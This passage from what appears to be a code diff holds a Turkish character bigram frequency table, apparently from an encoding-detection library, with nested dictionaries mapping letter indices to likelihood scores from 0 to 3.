# 'T' + 51: 1, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 1, # 'Z' + 1: 3, # 'a' + 21: 1, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 2, # 'g' + 25: 3, # 'h' + 3: 2, # 'i' + 24: 2, # 'j' + 10: 3, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 2, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 2, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 3, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 8: { # 's' + 23: 1, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 1, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 2, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 1, # 'Z' + 1: 3, # 'a' + 21: 2, # 'b' + 28: 1, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 2, # 'g' + 25: 2, # 'h' + 3: 2, # 'i' + 24: 3, # 'j' + 10: 3, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 3, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 2, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 2, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 2, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 1, # 'ş' + }, + 9: { # 't' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 2, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 1, # 'Z' + 1: 3, # 'a' + 21: 3, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 2, # 'f' + 27: 2, # 'g' + 25: 2, # 'h' + 3: 2, # 'i' + 24: 2, # 'j' + 10: 3, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 2, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 3, # 'v' + 57: 0, # 'w' + 58: 2, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 3, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 2, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 14: { # 'u' + 23: 3, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 3, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 1, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 2, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 3, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 2, # 'Z' + 1: 2, # 'a' + 21: 3, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 2, # 'e' + 18: 2, # 'f' + 27: 3, # 'g' + 25: 3, # 'h' + 3: 3, # 'i' + 24: 2, # 'j' + 10: 3, # 'k' + 5: 0, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 3, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 2, # 'v' + 57: 2, # 'w' + 58: 0, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 3, # 'ü' + 30: 1, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 32: { # 'v' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 3, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 1, # 'j' + 10: 1, # 'k' + 5: 3, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 1, # 'r' + 8: 2, # 's' + 9: 3, # 't' + 14: 3, # 'u' + 32: 1, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 1, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 57: { # 'w' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 1, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 1, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 1, # 'k' + 5: 0, # 'l' + 13: 0, # 'm' + 4: 1, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 1, # 's' + 9: 0, # 't' + 14: 1, # 'u' + 32: 0, # 'v' + 57: 2, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 0, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 1, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 0, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 58: { # 'x' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 1, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 1, # 'b' + 28: 0, # 'c' + 12: 2, # 'd' + 2: 1, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 2, # 'i' + 24: 2, # 'j' + 10: 1, # 'k' + 5: 0, # 'l' + 13: 0, # 'm' + 4: 2, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 1, # 'r' + 8: 2, # 's' + 9: 1, # 't' + 14: 0, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 1, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 11: { # 'y' + 23: 1, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 1, # 'Y' + 56: 1, # 'Z' + 1: 3, # 'a' + 21: 1, # 'b' + 28: 0, # 'c' + 12: 2, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 2, # 'g' + 25: 2, # 'h' + 3: 2, # 'i' + 24: 1, # 'j' + 10: 2, # 'k' + 5: 3, # 'l' + 13: 3, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 2, # 'r' + 8: 1, # 's' + 9: 2, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 1, # 'x' + 11: 3, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 3, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 2, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 22: { # 'z' + 23: 2, # 'A' + 37: 2, # 'B' + 47: 1, # 'C' + 39: 2, # 'D' + 29: 3, # 'E' + 52: 1, # 'F' + 36: 2, # 'G' + 45: 2, # 'H' + 53: 1, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 3, # 'M' + 46: 2, # 'N' + 42: 2, # 'O' + 48: 2, # 'P' + 44: 1, # 'R' + 35: 1, # 'S' + 31: 3, # 'T' + 51: 2, # 'U' + 38: 2, # 'V' + 62: 0, # 'W' + 43: 2, # 'Y' + 56: 1, # 'Z' + 1: 1, # 'a' + 21: 2, # 'b' + 28: 1, # 'c' + 12: 2, # 'd' + 2: 2, # 'e' + 18: 3, # 'f' + 27: 2, # 'g' + 25: 2, # 'h' + 3: 3, # 'i' + 24: 2, # 'j' + 10: 3, # 'k' + 5: 0, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 15: 2, # 'o' + 26: 2, # 'p' + 7: 3, # 'r' + 8: 3, # 's' + 9: 3, # 't' + 14: 0, # 'u' + 32: 2, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 3, # 'y' + 22: 2, # 'z' + 63: 1, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 2, # 'Ü' + 59: 1, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 2, # 'ö' + 17: 2, # 'ü' + 30: 2, # 'ğ' + 41: 1, # 'İ' + 6: 3, # 'ı' + 40: 1, # 'Ş' + 19: 2, # 'ş' + }, + 63: { # '·' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 0, # 'd' + 2: 1, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 0, # 'l' + 13: 2, # 'm' + 4: 0, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 0, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 54: { # 'Ç' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 1, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 1, # 'G' + 45: 1, # 'H' + 53: 1, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 1, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 2, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 1, # 'b' + 28: 0, # 'c' + 12: 1, # 'd' + 2: 0, # 'e' + 18: 0, # 'f' + 27: 1, # 'g' + 25: 0, # 'h' + 3: 3, # 'i' + 24: 0, # 'j' + 10: 1, # 'k' + 5: 0, # 'l' + 13: 0, # 'm' + 4: 2, # 'n' + 15: 1, # 'o' + 26: 0, # 'p' + 7: 2, # 'r' + 8: 0, # 's' + 9: 1, # 't' + 14: 0, # 'u' + 32: 2, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 2, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 1, # 'ş' + }, + 50: { # 'Ö' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 1, # 'D' + 29: 2, # 'E' + 52: 0, # 'F' + 36: 1, # 'G' + 45: 2, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 1, # 'N' + 42: 2, # 'O' + 48: 2, # 'P' + 44: 1, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 2, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 2, # 'b' + 28: 1, # 'c' + 12: 2, # 'd' + 2: 0, # 'e' + 18: 1, # 'f' + 27: 1, # 'g' + 25: 1, # 'h' + 3: 2, # 'i' + 24: 0, # 'j' + 10: 2, # 'k' + 5: 0, # 'l' + 13: 0, # 'm' + 4: 3, # 'n' + 15: 2, # 'o' + 26: 2, # 'p' + 7: 3, # 'r' + 8: 1, # 's' + 9: 2, # 't' + 14: 0, # 'u' + 32: 1, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 2, # 'ö' + 17: 2, # 'ü' + 30: 1, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 1, # 'ş' + }, + 55: { # 'Ü' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 1, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 1, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 2, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 1, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 1, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 1, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 1, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 1, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 1, # 'İ' + 6: 0, # 'ı' + 40: 0, # 'Ş' + 19: 1, # 'ş' + }, + 59: { # 'â' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 1, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 1, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 2, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 0, # 'j' + 10: 0, # 'k' + 5: 0, # 'l' + 13: 2, # 'm' + 4: 0, # 'n' + 15: 1, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 2, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 1, # 'ı' + 40: 1, # 'Ş' + 19: 0, # 'ş' + }, + 33: { # 'ç' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 3, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 2, # 'T' + 51: 0, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 0, # 'Z' + 1: 0, # 'a' + 21: 3, # 'b' + 28: 0, # 'c' + 12: 2, # 'd' + 2: 0, # 'e' + 18: 2, # 'f' + 27: 1, # 'g' + 25: 3, # 'h' + 3: 3, # 'i' + 24: 0, # 'j' + 10: 3, # 'k' + 5: 0, # 'l' + 13: 0, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 1, # 'p' + 7: 3, # 'r' + 8: 2, # 's' + 9: 3, # 't' + 14: 0, # 'u' + 32: 2, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 2, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 1, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 3, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 61: { # 'î' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 0, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 0, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 0, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 1, # 'Z' + 1: 2, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 1, # 'j' + 10: 0, # 'k' + 5: 0, # 'l' + 13: 1, # 'm' + 4: 1, # 'n' + 15: 0, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 1, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 1, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 0, # 'ç' + 61: 1, # 'î' + 34: 0, # 'ö' + 17: 0, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 1, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 34: { # 'ö' + 23: 0, # 'A' + 37: 1, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 1, # 'G' + 45: 1, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 1, # 'L' + 20: 0, # 'M' + 46: 1, # 'N' + 42: 1, # 'O' + 48: 2, # 'P' + 44: 1, # 'R' + 35: 1, # 'S' + 31: 1, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 1, # 'Z' + 1: 3, # 'a' + 21: 1, # 'b' + 28: 2, # 'c' + 12: 1, # 'd' + 2: 3, # 'e' + 18: 0, # 'f' + 27: 2, # 'g' + 25: 2, # 'h' + 3: 1, # 'i' + 24: 2, # 'j' + 10: 1, # 'k' + 5: 2, # 'l' + 13: 3, # 'm' + 4: 2, # 'n' + 15: 2, # 'o' + 26: 0, # 'p' + 7: 0, # 'r' + 8: 3, # 's' + 9: 1, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 1, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 1, # 'Ç' + 50: 2, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 2, # 'ç' + 61: 0, # 'î' + 34: 2, # 'ö' + 17: 0, # 'ü' + 30: 2, # 'ğ' + 41: 1, # 'İ' + 6: 1, # 'ı' + 40: 2, # 'Ş' + 19: 1, # 'ş' + }, + 17: { # 'ü' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 0, # 'F' + 36: 0, # 'G' + 45: 0, # 'H' + 53: 0, # 'I' + 60: 1, # 'J' + 16: 1, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 0, # 'N' + 42: 0, # 'O' + 48: 0, # 'P' + 44: 0, # 'R' + 35: 0, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 0, # 'V' + 62: 0, # 'W' + 43: 0, # 'Y' + 56: 1, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 0, # 'c' + 12: 1, # 'd' + 2: 3, # 'e' + 18: 1, # 'f' + 27: 2, # 'g' + 25: 0, # 'h' + 3: 1, # 'i' + 24: 1, # 'j' + 10: 2, # 'k' + 5: 3, # 'l' + 13: 2, # 'm' + 4: 3, # 'n' + 15: 0, # 'o' + 26: 2, # 'p' + 7: 2, # 'r' + 8: 3, # 's' + 9: 2, # 't' + 14: 3, # 'u' + 32: 1, # 'v' + 57: 1, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 0, # 'z' + 63: 0, # '·' + 54: 0, # 'Ç' + 50: 0, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 0, # 'ö' + 17: 2, # 'ü' + 30: 0, # 'ğ' + 41: 0, # 'İ' + 6: 2, # 'ı' + 40: 0, # 'Ş' + 19: 0, # 'ş' + }, + 30: { # 'ğ' + 23: 0, # 'A' + 37: 2, # 'B' + 47: 1, # 'C' + 39: 0, # 'D' + 29: 0, # 'E' + 52: 2, # 'F' + 36: 1, # 'G' + 45: 0, # 'H' + 53: 1, # 'I' + 60: 0, # 'J' + 16: 3, # 'K' + 49: 0, # 'L' + 20: 1, # 'M' + 46: 2, # 'N' + 42: 2, # 'O' + 48: 1, # 'P' + 44: 1, # 'R' + 35: 0, # 'S' + 31: 1, # 'T' + 51: 0, # 'U' + 38: 2, # 'V' + 62: 0, # 'W' + 43: 2, # 'Y' + 56: 0, # 'Z' + 1: 3, # 'a' + 21: 0, # 'b' + 28: 2, # 'c' + 12: 0, # 'd' + 2: 2, # 'e' + 18: 0, # 'f' + 27: 0, # 'g' + 25: 0, # 'h' + 3: 0, # 'i' + 24: 3, # 'j' + 10: 1, # 'k' + 5: 2, # 'l' + 13: 3, # 'm' + 4: 0, # 'n' + 15: 1, # 'o' + 26: 0, # 'p' + 7: 1, # 'r' + 8: 0, # 's' + 9: 0, # 't' + 14: 3, # 'u' + 32: 0, # 'v' + 57: 0, # 'w' + 58: 0, # 'x' + 11: 0, # 'y' + 22: 2, # 'z' + 63: 0, # '·' + 54: 2, # 'Ç' + 50: 2, # 'Ö' + 55: 0, # 'Ü' + 59: 0, # 'â' + 33: 1, # 'ç' + 61: 0, # 'î' + 34: 2, # 'ö' + 17: 0, # 'ü' + 30: 1, # 'ğ' + 41: 2, # 'İ' + 6: 2, # 'ı' + 40: 2, # 'Ş' + 19: 1, # 'ş' + }, + 41: { # 'İ' + 23: 0, # 'A' + 37: 0, # 'B' + 47: 1, # 'C' + 39: 1, # 'D' + 29: 1, # 'E' + 52: 0, # 'F' + 36: 2, # 'G' + 45: 2, # 'H' + 53: 0, # 'I' + 60: 0, # 'J' + 16: 0, # 'K' + 49: 0, # 'L' + 20: 2, # 'M' + 46: 1, # 'N' + 42: 1, # 'O' + 48: 2, # 'P' + 44: 0, # 'R' + 35: 1, # 'S' + 31: 1, # 'T' + 51: 1, # 'U' + 38: 1, # 'V' + 62: 0, # 'W' + 43: 2, # 'Y' + 56: 0, # 'Z' + 1: 1, # 'a' + 21: 2, # 'b' + 